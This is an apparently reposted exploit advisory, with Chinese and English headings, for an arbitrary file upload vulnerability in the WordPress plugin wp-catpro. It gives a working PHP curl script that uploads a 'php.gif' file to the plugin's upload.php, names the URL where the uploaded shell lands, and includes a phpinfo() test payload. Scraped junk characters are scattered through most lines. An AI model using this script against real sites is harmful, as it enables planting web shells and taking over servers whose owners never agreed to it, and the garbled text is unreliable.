WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
$ Z1 C: t& C! B7 {: ]4 W1 `; y0 t7 z! ^#-----------------------------------------------------------------------

+ {" S9 ^/ p2 X& c0 K作者  => Zikou-16
) M# F9 M1 h) |, s& r邮箱 => zikou16x@gmail.com
0 f9 A. A& Q" m% _3 }测试系统 : Windows 7 , Backtrack 5r3
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
####
( l2 {) y% [) {
2 B' m$ ^8 t$ W2 S  I2 g#=> Exploit 信息:
* P2 v2 @8 u. @. Y------------------
# 攻击者可以上传 file/shell.php.gif
2 @3 Q1 Q  i- B, {# ("jpg", "gif", "png")  // Allowed file extensions
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
4 P! w* C4 ?6 y4 |. x4 L7 e# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
------------------

4 P* Y& h- E1 l; G5 {#=> Exploit
-----------
! e/ M) k- ]+ ?6 i7 H; [<?php
! P* g# A- b/ t
4 F! v' h: Y$ N% C# ~$uploadfile="zik.php.gif";
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
0 a6 U, f) a8 c& R& p/ h4 j7 Varray('Filedata'=>"@$uploadfile",
'folder'=>'/wp-content/uploads/catpro/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
# r2 c0 y9 t- h6 U& L
print "$postResult";
& }$ v$ x- W7 r/ r
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
" K' Y# X2 ]$ S1 J  ?>
) U7 z1 M& Q0 r: D* a<?php
( X: {6 m! P, m# S# _$ ^7 Mphpinfo();
) |7 }; _$ S. f6 \" X, o; p8 L?>